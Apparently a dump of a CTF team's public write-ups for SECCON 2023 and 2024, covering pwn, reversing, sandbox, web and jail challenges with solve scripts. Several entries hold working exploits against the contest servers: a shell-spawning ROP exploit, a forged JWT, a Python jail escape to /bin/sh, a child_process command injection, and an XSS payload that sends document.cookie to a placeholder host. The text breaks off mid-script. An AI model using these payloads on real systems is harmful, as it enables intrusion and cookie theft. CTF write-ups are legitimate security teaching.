the start of a valid function due to the ENDBR check before the indirect call. 2 | 3 | At the first stage of the exploit, we have to leak the libc address by overwriting the first argument to read@got and partially overwriting the fptr to change err@libc to warn@libc. (1/16 probability) And then, we can call signal(SIGABRT, entrypoint) and trigger the abort signal by overwriting the stack cookie to enable the repetition of the exploit. 4 | 5 | Due to the function argument constraints, dprintf(fd, fmt, ...) should be used for the arbitrary read. Since we don't have an address of input data, we have to leak a stack address by calling dprintf with the format string "%s(%s%c%#tx) [%p]" in libc and then leak the stack cookie. 6 | 7 | Finally, we can overwrite the return address to one gadget to get a shell. 8 | 9 | See the full exploit in [`exploit.py`](exploit.py). -------------------------------------------------------------------------------- /seccon2023/pwn_selfcet/exploit.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | os.environ["PWNLIB_NOTERM"] = "1" 4 | from pwn import * 5 | 6 | context.arch = 'amd64' 7 | context.bits = 64 8 | 9 | while True: 10 | r = remote("selfcet.seccon.games", 9999) 11 | 12 | try: 13 | r.send(flat({ 14 | 0x48: 0x403FE8, # read@got 15 | 0x50: b"\x10\x20", 16 | })) 17 | r.recvuntil(b"xor: ") 18 | leak = r.recvuntil(b": Success")[:-9] 19 | libc = ELF("selfcet.libc") 20 | libc.address = u64(leak.ljust(8, b"\x00")) - libc.symbols["read"] 21 | print("libc.address", hex(libc.address)) 22 | 23 | r.send(flat({ 24 | 0x48 - 32: p32(6), 25 | 0x40 - 32: 0x401020, # _start 26 | 0x50 - 32: libc.symbols["signal"], 27 | }).ljust(0x58, b"\x00")) 28 | 29 | # 30 | 31 | r.recvuntil(b"terminated\n") 32 | r.send(flat({ 33 | 0x48: p32(1), 34 | 0x40: next(libc.search(b"%s(%s%c%#tx) [%p]")), 35 | 0x50: libc.symbols["dprintf"], 36 | }).ljust(0x58, b"\x00")) 37 | r.recvuntil(b"0x7") 38 | stack_leak = int(b"0x7" + r.recvuntil(b")")[:-1], 16) 39 | r.recvuntil(b"]") 40 | print("stack_leak", hex(stack_leak)) 41 | 42 | r.send(flat({ 43 | 0x48 - 32: p32(1), 44 | 0x40 - 32: stack_leak + 0x290 + 1, 45 | 0x50 - 32: libc.symbols["dprintf"], 46 | }).ljust(0x58, b"\x00")) 47 | stack_cookie = b"\x00" + r.recvn(7) 48 | print("stack_cookie", stack_cookie) 49 | 50 | r.recvuntil(b"terminated\n") 51 | 52 | r.send(b"\x00" * 32) 53 | time.sleep(0.5) 54 | 55 | payload = b"" 56 | payload += b"\x00" * (88 - 0x20) 57 | payload += stack_cookie 58 | payload += p64(0x404800) 59 | payload += p64(libc.address + 0xebcf8) 60 | r.send(payload) 61 | 62 | r.interactive() 63 | except EOFError: 64 | continue 65 | finally: 66 | r.close() 67 | -------------------------------------------------------------------------------- /seccon2023/rev_jumpout/README.md: -------------------------------------------------------------------------------- 1 | # jumpout 2 | 3 | The control flow is messed up, but we can look at the function fragments and guess how the flag is checked. 4 | 5 | We have: 6 | ``` 7 | sub_1360(f, i): 8 | return (f ^ 0x4010[i] ^ 0x55 ^ i) 9 | sub_1480: 10 | checks flag len == 0x1d 11 | checks sub_1360(flag[i], i) == 0x4030[i] 12 | ``` 13 | so we have `flag[i] == 0x4010[i] ^ 0x55 ^ i ^ 0x4030[i]`. 14 | 15 | Solve script in [`solve.py`](solve.py). 16 | -------------------------------------------------------------------------------- /seccon2023/rev_jumpout/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | e = ELF('jumpout') 4 | x1 = e.read(0x4010, 32) 5 | x2 = e.read(0x4030, 32) 6 | print(x1, x2) 7 | 8 | flag = '' 9 | for i in range(0x1d): 10 | flag += chr(x1[i]^0x55^i^x2[i]) 11 | print(flag) 12 | -------------------------------------------------------------------------------- /seccon2023/rev_optinimize/README.md: -------------------------------------------------------------------------------- 1 | # optinimize 2 | 3 | The program computes `flag[i] = magic[i] ^ (Q(x) & 0xFF)` for larger and larger values of `x`. 4 | 5 | We can manually reverse/decompile `Q`, which gives us this: 6 | 7 | ``` 8 | def Q(n): 9 | x = 0 10 | y = 0 11 | while x < n: 12 | y += 1 13 | if P(y) % y == 0: 14 | x += 1 15 | return y 16 | 17 | def P(n): # Perrin sequence 18 | if n == 0: 19 | return 3 20 | if n == 1: 21 | return 0 22 | if n == 2: 23 | return 2 24 | x,y,z = 3,0,2 25 | for _ in range(n-2): 26 | x,y,z = y,z,x+y 27 | return z 28 | ``` 29 | 30 | Note that `P(y) % y == 0` iff `y` is either prime or a [Perrin pseudoprime](https://en.wikipedia.org/wiki/Perrin_number#Perrin_pseudoprimes). 31 | 32 | Then `Q(n)` computes the `n`th prime+Perrin pseudoprime. 33 | 34 | We can grab a list of Perrin pseudoprimes from [OEIS](https://oeis.org/A013998), then merge it with list of primes. 35 | 36 | Solve script in [`solve.py`](solve.py). 37 | -------------------------------------------------------------------------------- /seccon2023/rev_perfect_blu/README.md: -------------------------------------------------------------------------------- 1 | # Perfect Blu 2 | 3 | We opened up the iso files in BDEdit, went to each entry under the CLIPINF tab, double-clicked the 4 | "und" program, then browsed each menu button until we saw the odd one out, which corresponds to the 5 | correct character. 6 | 7 | Solve script in [`solve.py`](solve.py). 8 | -------------------------------------------------------------------------------- /seccon2023/rev_perfect_blu/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | alpha = '1234567890QWERTYUIOPASDFGHJKL{ZXCVBNM_-}' 4 | 5 | x = [21,12,32,32,18,35,29,26,11,34,25,38,4,7,12,28,38,10,11,13,28,38,32,28,21,11,38,16,23,13,17,38, 6 | 31,16,15,2,38, # 00036 7 | 15,25,27,27,38, # 00041 8 | 27,23,34,33,39 # 00046 9 | ] 10 | 11 | for i in x: 12 | print(alpha[i], end='') 13 | print() 14 | 15 | ''' 16 | open in BDedit 17 | go to each entry in CLIPINF, double click the "und" program, browse menu buttons until you see the odd one out 18 | ''' 19 | -------------------------------------------------------------------------------- /seccon2023/rev_sickle/README.md: -------------------------------------------------------------------------------- 1 | # Sickle 2 | 3 | We can remove all but the last `'.'` in `payload`, then run [fickling](https://github.com/trailofbits/fickling) 4 | on it to get the gist of what it's doing. (This ignores all the control flow though, since we removed the `.`s and ignore all the `f.seek`s.) 5 | 6 | We get the following decompilation: 7 | ``` 8 | _var0 = input('FLAG> ') 9 | _var1 = getattr(_var0, 'encode') 10 | _var2 = _var1() 11 | _var3 = getattr(dict, 'get') 12 | _var4 = globals() 13 | _var5 = _var3(_var4, 'f') 14 | _var6 = getattr(_var5, 'seek') 15 | _var7 = getattr(int, '__add__') 16 | _var8 = getattr(int, '__mul__') 17 | _var9 = getattr(int, '__eq__') 18 | _var10 = len(_var2) 19 | _var11 = _var9(_var10, 64) 20 | _var12 = _var7(_var11, 261) 21 | _var13 = _var6(_var12) 22 | _var14 = getattr(_var2, '__getitem__') 23 | _var15 = _var14(0) 24 | _var16 = getattr(_var15, '__le__') 25 | _var17 = _var16(127) 26 | _var18 = _var7(_var17, 330) 27 | _var19 = _var6(_var18) 28 | _var20 = _var7(0, 1) 29 | _var21 = _var9(_var20, 64) 30 | _var22 = _var8(_var21, 85) 31 | _var23 = _var7(_var22, 290) 32 | _var24 = _var6(_var23) 33 | _var25 = getattr([], 'append') 34 | _var26 = getattr([], '__getitem__') 35 | _var27 = getattr(int, 'from_bytes') 36 | _var28 = _var8(0, 8) 37 | _var29 = _var7(0, 1) 38 | _var30 = _var8(_var29, 8) 39 | _var31 = slice(_var28, _var30) 40 | _var32 = _var14(_var31) 41 | _var33 = _var27(_var32, 'little') 42 | _var34 = _var25(_var33) 43 | _var35 = _var7(0, 1) 44 | _var36 = _var9(_var35, 8) 45 | _var37 = _var8(_var36, 119) 46 | _var38 = _var7(_var37, 457) 47 | _var39 = _var6(_var38) 48 | _var40 = getattr([], 'append') 49 | _var41 = getattr([], '__getitem__') 50 | _var42 = getattr(int, '__xor__') 51 | _var43 = _var26(0) 52 | _var44 = _var42(_var43, 1244422970072434993) 53 | _var45 = pow(_var44, 65537, 18446744073709551557) 54 | _var46 = _var40(_var45) 55 | _var47 = _var41(0) 56 | _var48 = _var7(0, 1) 57 | _var49 = _var9(_var48, 8) 58 | _var50 = _var8(_var49, 131) 59 | _var51 = _var7(_var50, 679) 60 | _var52 = _var6(_var51) 61 | _var53 = getattr([], '__eq__') 62 | _var54 = _var53([8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905]) 63 | result0 = _var54 64 | ``` 65 | 66 | From here, we get something like this: 67 | ``` 68 | l = [] 69 | for i in flag_chunks: 70 | x = pow(i ^ 1244422970072434993, 65537, 18446744073709551557) 71 | l.append(x) 72 | 73 | # check that l == [8215359690687096682, ..., 18138828537077112905] 74 | ``` 75 | 76 | We can invert `pow(_var44, 65537, 18446744073709551557)` by getting the decryption exponent via `pow(65537, -1, phi(18446744073709551557))`. 77 | We then guessed a bunch of things, like "the first chunk of the flag decrypted correctly, but the rest didn't, so maybe it's doing CBC and that `1244422970072434993` is really the IV". 78 | 79 | The corrected version of the encryption is: 80 | ``` 81 | l = [] 82 | prev = 1244422970072434993 83 | for i in flag_chunks: 84 | x = pow(i ^ prev, 65537, 18446744073709551557) 85 | l.append(x) 86 | 87 | # check that l == [8215359690687096682, ..., 18138828537077112905] 88 | ``` 89 | 90 | Solve script in [`solve.py`](solve.py). 91 | -------------------------------------------------------------------------------- /seccon2023/rev_sickle/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | l = [8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905] 4 | 5 | flag = b'' 6 | 7 | prev = 1244422970072434993 8 | for i in l: 9 | x = pow(i, 1563288166766602825, 18446744073709551557) ^ prev 10 | prev = i 11 | flag += p64(x) 12 | 13 | print(flag) 14 | -------------------------------------------------------------------------------- /seccon2023/rev_xuyao/README.md: -------------------------------------------------------------------------------- 1 | # xuyao 2 | 3 | The program implements the following cipher, which we can write a decryption method for: 4 | ``` 5 | def r(inp, key): 6 | x = sbox(key ^ inp[1] ^ inp[2] ^ inp[3]) 7 | x = x ^ rol(x,3) ^ rol(x,14) ^ rol(x,15) ^ rol(x,9) 8 | x ^= inp[0] 9 | return x 10 | 11 | def encrypt_block(orig_inp, key, out): 12 | inp = [0,0,0,0] 13 | for i in range(4): 14 | inp[i] = byteswap(orig_inp[i]) 15 | for i in range(32): 16 | tmp = r(inp, key[i]) 17 | inp[0] = inp[1] 18 | inp[1] = inp[2] 19 | inp[2] = inp[3] 20 | inp[3] = tmp 21 | out[0] = byteswap(keys[3]) 22 | out[1] = byteswap(keys[2]) 23 | out[2] = byteswap(keys[1]) 24 | out[3] = byteswap(keys[0]) 25 | 26 | def encrypt(inp, length, xorkey, out): 27 | for i in range(4): 28 | bufs_b[i] = fish[i] ^ byteswap(xorkey[i]) 29 | for i in range(32): 30 | x = sbox(cat[i] ^ bufs_b[1] ^ bufs_b[2] ^ bufs_b[3]) 31 | x = x ^ rol(x,11) ^ ror(x,7) ^ bufs_b[0] 32 | bufs_c[i] = x 33 | bufs_b[0] = bufs_b[1] 34 | bufs_b[1] = bufs_b[2] 35 | bufs_b[2] = bufs_b[3] 36 | bufs_b[3] = x 37 | for j in range(0, length, 16): 38 | for i in range(4): 39 | inp_state[i] = inp[j] # input as u32s, maybe byteswapped 40 | encrypt_block(inp_state, bufs_c, out) # output as u32s, maybe byteswapped 41 | ``` 42 | 43 | Solve script in [`solve.py`](solve.py). 44 | -------------------------------------------------------------------------------- /seccon2023/rev_xuyao/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | e = ELF('xuyao') 4 | fish = e.read(e.symbols['fish'], 16) 5 | fish = [u32(fish[i:i+4]) for i in range(0, len(fish), 4)] 6 | cat = e.read(e.symbols['cat'], 4*32) 7 | cat = [u32(cat[i:i+4]) for i in range(0, len(cat), 4)] 8 | sbox_bytes = list(e.read(e.symbols['sbox'], 256)) 9 | 10 | enc = e.read(e.symbols['enc'], 0x70) 11 | 12 | def rol(x, n): 13 | return ((x << n) | (x >> (32-n))) & 0xFFFFFFFF 14 | def ror(x, n): 15 | return rol(x, 32-n) 16 | def byteswap(x): 17 | return u32(p32(x, endian='little'), endian='big') 18 | def sbox(x): 19 | x = list(p32(x, endian='big')) 20 | x = [sbox_bytes[i] for i in x] 21 | return u32(bytes(x), endian='big') 22 | 23 | def r(inp, key): 24 | x = sbox(key ^ inp[1] ^ inp[2] ^ inp[3]) 25 | x = x ^ rol(x,3) ^ rol(x,14) ^ rol(x,15) ^ rol(x,9) 26 | x ^= inp[0] 27 | return x 28 | 29 | def r_inv(inp, key, prev): 30 | x = sbox(key ^ inp[1] ^ inp[2] ^ inp[3]) 31 | x = x ^ rol(x,3) ^ rol(x,14) ^ rol(x,15) ^ rol(x,9) 32 | x ^= prev 33 | return x 34 | 35 | def decrypt_block(orig_inp, keys): 36 | inp = orig_inp[:][::-1] 37 | for i in range(32)[::-1]: 38 | tmp = inp[3] 39 | inp[3] = inp[2] 40 | inp[2] = inp[1] 41 | inp[1] = inp[0] 42 | inp[0] = r_inv(inp, keys[i], tmp) 43 | out = b'' 44 | out += p32(byteswap(inp[0])) 45 | out += p32(byteswap(inp[1])) 46 | out += p32(byteswap(inp[2])) 47 | out += p32(byteswap(inp[3])) 48 | return out 49 | 50 | def decrypt(inp, xorkey): 51 | bufs_b = [0,0,0,0] 52 | for i in range(4): 53 | bufs_b[i] = fish[i] ^ byteswap(u32(xorkey[i*4:i*4+4])) 54 | bufs_c = [0]*32 55 | for i in range(32): 56 | x = sbox(cat[i] ^ bufs_b[1] ^ bufs_b[2] ^ bufs_b[3]) 57 | x = x ^ rol(x,11) ^ ror(x,7) ^ bufs_b[0] 58 | bufs_c[i] = x 59 | bufs_b[0] = bufs_b[1] 60 | bufs_b[1] = bufs_b[2] 61 | bufs_b[2] = bufs_b[3] 62 | bufs_b[3] = x 63 | 64 | print('round keys:', [hex(i) for i in bufs_c]) 65 | 66 | out = b'' 67 | 68 | for j in range(0, len(inp), 16): 69 | block_keys = [0]*4 70 | for i in range(4): 71 | block_keys[i] = byteswap(u32(inp[j+i*4:j+i*4+4])) 72 | out += decrypt_block(block_keys, bufs_c) 73 | return out 74 | 75 | print(decrypt(enc, b"SECCON CTF 2023!")) 76 | -------------------------------------------------------------------------------- /seccon2023/sandbox_crabox/README.md: -------------------------------------------------------------------------------- 1 | # crabox - Sandbox Problem - Writeup by f0xtr0t 2 | 3 | > (132 pt) 4 | > author:Arkwarmup 5 | > 6 | > 🦀 Compile-Time Sandbox Escape 🦀 7 | > 8 | > nc crabox.seccon.games 1337 9 | > 10 | > [crabox.tar.gz](./crabox.tar.gz) 713d208b472f6a654bf6685f0d38b5aacca93942 11 | 12 | ## Overview 13 | 14 | We are given a [small Python file](./app.py) (along with Docker setup to run 15 | it), that takes up to 512 bytes of input, and places it into the following 16 | template (along with placing in the flag): 17 | 18 | ``` rust 19 | fn main() { 20 | {{YOUR_PROGRAM}} 21 | 22 | /* Steal me: {{FLAG}} */ 23 | } 24 | ``` 25 | 26 | It then compiles this file (created with a random file name in `/tmp/`) with 27 | `rustc` (sending both stdout and stderr to `/dev/null`), and tells us (with a 28 | smiley) whether the return code for `rustc` was 0 or not. 29 | 30 | Thus overall, the challenge is to leak the flag that is in the comment, while 31 | only having access to a "did it compile or not" bit of information. 32 | 33 | ## Attack 34 | 35 | Rust has support for some compile-time code execution. In particular, some code 36 | and macros can be used in `const` context, and we can use this to get the flag, 37 | one bit at a time. 38 | 39 | In particular, we use the `file!()` macro to get the current file's path, then 40 | pass it into `include_bytes!()` to get the current file as a byte-array. We can 41 | then use an `assert!()` macro (inside a `const` unit) to check the value of the 42 | byte at some index in the array. If the assert succeeds, compilation succeeds; 43 | otherwise compilation fails. 44 | 45 | We can use a binary search for possible values in order to narrow down the 46 | specific bytes quite quickly, thus we use a `<=` check in the `assert!()`. 47 | 48 | This leads to the following template: 49 | 50 | ``` rust 51 | const F: &[u8] = include_bytes!(file!()); 52 | const _T: () = assert!(F[F.len() - POSITION] <= GUESSNUM); 53 | ``` 54 | 55 | Note that `F` contains the contents of the entire source file, read in as bytes, 56 | and that the `const _T: () = ...` forces the `assert!` to run in a 57 | const-context, forcing compile-time evaluation. 58 | 59 | By looking at characters from the end of the file, we don't need to actually 60 | account for how long our payload is, and can just keep reading backwards until 61 | we read the whole flag. 62 | 63 | ## Solve Script 64 | 65 | See [solve.py](./solve.py). It is a fairly straightforward implementation of the 66 | approach mentioned above. 67 | 68 | While we could _technically_ parallelize across all characters, this is not 69 | necessary since the whole script runs quite fast. 70 | 71 | ## Flag 72 | 73 | ``` 74 | SECCON{ctfe_i5_p0w3rful} 75 | ``` 76 | 77 | The reference here of course is to Rust's compile-time function evaluation, 78 | which indeed is powerful. 79 | -------------------------------------------------------------------------------- /seccon2023/sandbox_crabox/app.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import re 3 | import os 4 | import subprocess 5 | import tempfile 6 | 7 | FLAG = os.environ["FLAG"] 8 | assert re.fullmatch(r"SECCON{[_a-z0-9]+}", FLAG) 9 | os.environ.pop("FLAG") 10 | 11 | TEMPLATE = """ 12 | fn main() { 13 | {{YOUR_PROGRAM}} 14 | 15 | /* Steal me: {{FLAG}} */ 16 | } 17 | """.strip() 18 | 19 | print(""" 20 | 🦀 Compile-Time Sandbox Escape 🦀 21 | 22 | Input your program (the last line must start with __EOF__): 23 | """.strip(), flush=True) 24 | 25 | program = "" 26 | while True: 27 | line = sys.stdin.readline() 28 | if line.startswith("__EOF__"): 29 | break 30 | program += line 31 | if len(program) > 512: 32 | print("Your program is too long. Bye👋".strip()) 33 | exit(1) 34 | 35 | source = TEMPLATE.replace("{{FLAG}}", FLAG).replace("{{YOUR_PROGRAM}}", program) 36 | 37 | with tempfile.NamedTemporaryFile(suffix=".rs") as file: 38 | file.write(source.encode()) 39 | file.flush() 40 | 41 | try: 42 | proc = subprocess.run( 43 | ["rustc", file.name], 44 | cwd="/tmp", 45 | stdout=subprocess.DEVNULL, 46 | stderr=subprocess.DEVNULL, 47 | timeout=2, 48 | ) 49 | print(":)" if proc.returncode == 0 else ":(") 50 | except subprocess.TimeoutExpired: 51 | print("timeout") 52 | -------------------------------------------------------------------------------- /seccon2023/sandbox_crabox/crabox.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/seccon2023/sandbox_crabox/crabox.tar.gz -------------------------------------------------------------------------------- /seccon2023/sandbox_crabox/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from string import printable 3 | 4 | TEMPLATE = """ 5 | const F: &[u8] = include_bytes!(file!()); 6 | const _T: () = assert!(F[F.len() - POSITION] <= GUESSNUM); 7 | """ 8 | 9 | 10 | def guess_char(position, guess_ord): 11 | with context.local(log_level="error"): 12 | conn = remote("crabox.seccon.games", 1337) 13 | 14 | conn.recvuntil(b"Input your program (the last line must start with __EOF__):") 15 | conn.recvline() 16 | 17 | payload = ( 18 | TEMPLATE.replace("POSITION", str(position)) 19 | .replace("GUESSNUM", str(guess_ord)) 20 | .encode() 21 | ) 22 | 23 | conn.sendline(payload) 24 | conn.sendline(b"__EOF__") 25 | 26 | conn.recvuntil(b":") 27 | r = conn.recvline().strip().decode() 28 | 29 | with context.local(log_level="error"): 30 | conn.close() 31 | 32 | return r == ")" 33 | 34 | 35 | known = "" 36 | 37 | while "Steal me" not in known: 38 | with log.progress(f"Building on {known!r}") as p: 39 | start, end = 0, 0x7F 40 | while start != end: 41 | assert start <= end 42 | mid = (start + end) // 2 43 | p.status(f"Range: {chr(start)!r} - {chr(end)!r} | Guessing {chr(mid)!r}") 44 | if guess_char(len(known) + 1, mid): 45 | start, end = start, mid 46 | else: 47 | start, end = mid + 1, end 48 | 49 | known = chr(start) + known 50 | p.success(f"Found {known!r}") 51 | -------------------------------------------------------------------------------- /seccon2023/web_Bad-JWT/README.md: -------------------------------------------------------------------------------- 1 | # Bad JWT 2 | 3 | ## Overview 4 | 5 | Manipulate the header of JWT with the desired algorithm. 6 | 7 | ```javascript 8 | const algorithms = { 9 | hs256: (data, secret) => 10 | base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()), 11 | hs512: (data, secret) => 12 | base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()), 13 | } 14 | 15 | ... 16 | 17 | const createSignature = (header, payload, secret) => { 18 | const data = `${stringifyPart(header)}.${stringifyPart(payload)}`; 19 | const signature = algorithms[header.alg.toLowerCase()](data, secret); 20 | return signature; 21 | } 22 | ``` 23 | 24 | ```sh 25 | > const algorithms = { 26 | ... hs256: (data, secret) => 27 | ... base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()), 28 | ... hs512: (data, secret) => 29 | ... base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()), 30 | ... } 31 | 32 | > algorithms['constructor'] 33 | [Function: Object] 34 | 35 | > algorithms['constructor']("data") 36 | [String: 'data'] 37 | ``` 38 | 39 | ## Solution 40 | 41 | ```py 42 | import requests 43 | import base64 44 | 45 | header = b'{"typ":"JWT","alg":"constructor"}' 46 | payload = b'{"isAdmin":true}' 47 | 48 | enc_header = base64.b64encode(header).replace(b'=', b'').decode() 49 | enc_payload = base64.b64encode(payload).replace(b'=', b'').decode() 50 | sig = base64.b64encode(header+payload).replace(b'=', b'').decode() 51 | 52 | cookies = { 53 | 'session': f'{enc_header}.{enc_payload}.{sig}' 54 | } 55 | print(cookies) 56 | 57 | response = requests.get('http://bad-jwt.seccon.games:3000/', cookies=cookies, verify=False) 58 | #response = requests.get('http://localhost:3000/', cookies=cookies, headers=headers, verify=False) 59 | 60 | print(response.text) 61 | ``` 62 | 63 | `SECCON{Map_and_Object.prototype.hasOwnproperty_are_good}` -------------------------------------------------------------------------------- /seccon2023/web_eeeeejs/README.md: -------------------------------------------------------------------------------- 1 | # eeeeejs 2 | 3 | ## Overview 4 | 5 | It looked like a simple EJS abusing challenge, but it was mitigated and could not be exploited. 6 | 7 | - Mitigation 2 8 | 9 | ```js 10 | // Mitigation 2: 11 | app.use((req, res, next) => { 12 | // A protection for RCE 13 | // FYI: https://github.com/mde/ejs/issues/735 14 | 15 | const evils = [ 16 | "outputFunctionName", 17 | "escapeFunction", 18 | "localsName", 19 | "destructuredLocals", 20 | "escape", 21 | ]; 22 | 23 | const data = JSON.stringify(req.query); 24 | if (evils.find((evil) => data.includes(evil))) { 25 | res.status(400).send("hacker?"); 26 | } else { 27 | next(); 28 | } 29 | }); 30 | ``` 31 | 32 | - Mitigation 4 33 | 34 | ```js 35 | const proc = await util 36 | .promisify(execFile)( 37 | "node", 38 | [ 39 | // Mitigation 4: 40 | "--experimental-permission", 41 | `--allow-fs-read=${__dirname}/src`, 42 | 43 | "render.dist.js", 44 | JSON.stringify(req.query), 45 | ], 46 | { 47 | timeout: 2000, 48 | cwd: `${__dirname}/src`, 49 | } 50 | ) 51 | .catch((e) => e); 52 | ``` 53 | 54 | In `package.json`, it build a `render.js` file and generates a `render.dist.js` file. 55 | 56 | ``` 57 | "scripts": { 58 | "bundle": "esbuild src/render.js --bundle --platform=node --outfile=src/render.dist.js" 59 | }, 60 | ``` 61 | 62 | The `render.dist.js` file has many gadgets and manipulates delimiters to create output. 63 | 64 | - gadgets #1 (replace) 65 | 66 | ```js 67 | exports.escapeXML = function(markup) { 68 | return markup == void 0 ? "" : String(markup).replace(_MATCH_HTML, encode_char); 69 | }; 70 | ``` 71 | 72 | - gadgets #2 (return) 73 | 74 | ```js 75 | function stripSemi(str) { 76 | return str.replace(/;(\s*$)/, "$1"); 77 | } 78 | ``` 79 | 80 | 81 | 82 | ## Solution 83 | 84 | ``` 85 | http://eeeeejs.seccon.games:3000/?filename=render.dist.js&delimiter=%0a&settings[view%20options][openDelimiter]=(markup)%20{&settings[view%20options][closeDelimiter]=%20&markup=%3Chr/%3E&_MATCH_HTML=hr /&encode_char=iframe%20srcdoc="%26lt;script src=%27%2F%3ffilename%3Drender.dist.js%26delimiter%3D%250a%26settings%5Bview%2520options%5D%5BopenDelimiter%5D%3DstripSemi%28str%29%2520%7B%26settings%5Bview%2520options%5D%5BcloseDelimiter%5D%3D%2520%26str%3Dtop.location.href=`http://{server}/flag?`.concat(document.cookie);%27%26gt;%26lt;/script%26gt;" 86 | ``` 87 | 88 | 89 | `SECCON{RCE_is_po55ible_if_mitigation_4_does_not_exist}` -------------------------------------------------------------------------------- /seccon2023/web_simplecalc/simple-calc.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/seccon2023/web_simplecalc/simple-calc.tar.gz -------------------------------------------------------------------------------- /seccon2024/jail_1linepyjail/README.md: -------------------------------------------------------------------------------- 1 | ## 1linepyjail - Jail Problem - @despawningbone, @lydxn, @nneonneo 2 | 3 | 1linepyjail was a jail challenge solved by 15 teams, worth 233 points. 4 | 5 | Description: 6 | 7 | > 1 line :) 8 | > 9 | > nc 1linepyjail.seccon.games 5000 10 | > 11 | > 1linepyjail.tar.gz e87d9385b0061daf9684fec758766138b5d5dad2 12 | 13 | We're given the following Python jail script: 14 | 15 | `print(eval(code, {"__builtins__": None}, {}) if len(code := input("jail> ")) <= 100 and __import__("re").fullmatch(r'([^()]|\(\))*', code) else ":(")` 16 | 17 | It runs using the python:3.12.7 Docker container. The jail evaluates a Python expression of at most 100 characters, and bans non-empty parentheses. It also runs with all the builtins deleted. 18 | 19 | ## Solution 20 | 21 | We can call zero-argument functions and perform arbitrary attribute access, which is enough to get the `object` type and its `__subclasses__()`. 22 | 23 | One of the very useful subclasses is `_sitebuiltins.Helper`, which can be called with no arguments to launch the Python `help` system. 24 | 25 | Typing in the name of *any* module into the help prompt will load the corresponding module and show its documentation. Afterwards, any classes loaded from that module will appear in `object.__subclasses__()`. 26 | 27 | Therefore, we can load the `code` module via the help function, then load `code.InteractiveConsole` by traversing the class hierarchy and call its zero-argument `interact` method to obtain an unrestricted REPL. 28 | 29 | The final payload weighs in at 96 bytes: 30 | 31 | `[a:=().__class__.__base__.__subclasses__][0]()[158]()(),a()[-3].__subclasses__()[0]().interact()` 32 | 33 | To use the exploit, you have to type `code` to load the code module, then `quit` to exit the help system. Then you just enter `import os` and `os.system("/bin/sh")` at the REPL to win. 34 | 35 | Flag: `SECCON{jailctf_was_4_cr3ative_and_3njoyab1e_c7f}` 36 | -------------------------------------------------------------------------------- /seccon2024/jail_pp4/README.md: -------------------------------------------------------------------------------- 1 | # pp4 - Jail 2 | 3 | By: Lyndon 4 | 5 | > Let's enjoy the polluted programming💥 6 | > 7 | > `nc pp4.seccon.games 5000` 8 | > 9 | > [`pp4.tar.gz`](https://storage.googleapis.com/hitcon-ctf-2024-qual-attachment/brokenshare/brokenshare-4af73c97cbac939d9eade6a32503050a7403ba47.tar.gz](https://score.quals.seccon.jp/api/download?key=quals202413%2Fdual_summon.tar.gz](https://score.quals.seccon.jp/api/download?key=quals202413%2Fpp4.tar.gz))) 10 | > 11 | - Author: krk 12 | - Solves: 41 13 | 14 | ## Challenge 15 | 16 | In `index.js`: 17 | 18 | ```js 19 | #!/usr/local/bin/node 20 | const readline = require("node:readline/promises"); 21 | const rl = readline.createInterface({ 22 | input: process.stdin, 23 | output: process.stdout, 24 | }); 25 | 26 | const clone = (target, result = {}) => { 27 | for (const [key, value] of Object.entries(target)) { 28 | if (value && typeof value == "object") { 29 | if (!(key in result)) result[key] = {}; 30 | clone(value, result[key]); 31 | } else { 32 | result[key] = value; 33 | } 34 | } 35 | return result; 36 | }; 37 | 38 | (async () => { 39 | // Step 1: Prototype Pollution 40 | const json = (await rl.question("Input JSON: ")).trim(); 41 | console.log(clone(JSON.parse(json))); 42 | 43 | // Step 2: JSF**k with 4 characters 44 | const code = (await rl.question("Input code: ")).trim(); 45 | if (new Set(code).size > 4) { 46 | console.log("Too many :("); 47 | return; 48 | } 49 | console.log(eval(code)); 50 | })().finally(() => rl.close()); 51 | ``` 52 | 53 | ## Solution 54 | 55 | This was a simple challenge with two components: a prototype pollution gadget and a JSFuck jail with 4 unique characters. 56 | 57 | The generic JSFuck exploit payload typically has this form: `[]['constructor']['constructor']('PAYLOAD')()`. However, we are only given 4 unique characters, 58 | which is not enough to generate the necessary strings. 59 | 60 | However, we can do some weird things when given the ability to modify JavaScript objects. For example, we can "overload" the logic for indexing an object ike this: 61 | 62 | ```js 63 | {}.constructor.prototype['a'] = 1; 64 | console.log([]['a']) // prints 1 65 | ``` 66 | 67 | This turns out to be a very useful primitive. In particular, we can assign `{}[''] = 'PAYLOAD'`, and then use that payload string in JSFuck via `[][[]]` 68 | (note that the `[]` gets coerced to `''` when indexing). The corresponding prototype pollution payload looks like this: 69 | ``` 70 | {"":{"constructor":{"prototype":{"":"console.log(1)"}}}} 71 | ``` 72 | 73 | This almost solves the challenge, but we also need to somehow store the other `'constructor'` string. I ended up solving it by storing the payload string as the *key*, 74 | and then accessing it in JSFuck becomes `[][[][[]]]`. From there, we can easily obtain a shell by importing `child_process` and calling the `execSync` method: 75 | 76 | ```js 77 | console.log(process.mainModule.require('child_process').execSync('cat /flag-1863aa693df962ff8433c6b227d63dc0.txt')+'') 78 | ``` 79 | 80 | ## Solve 81 | 82 | ```py 83 | from pwn import * 84 | import json 85 | 86 | # io = process(['node', 'index.js']) 87 | io = remote('pp4.seccon.games', 5000) 88 | 89 | code = "console.log(process.mainModule.require('child_process').execSync('cat /flag-1863aa693df962ff8433c6b227d63dc0.txt')+'')" 90 | data = {"": {"constructor": {"prototype": {code: "constructor", 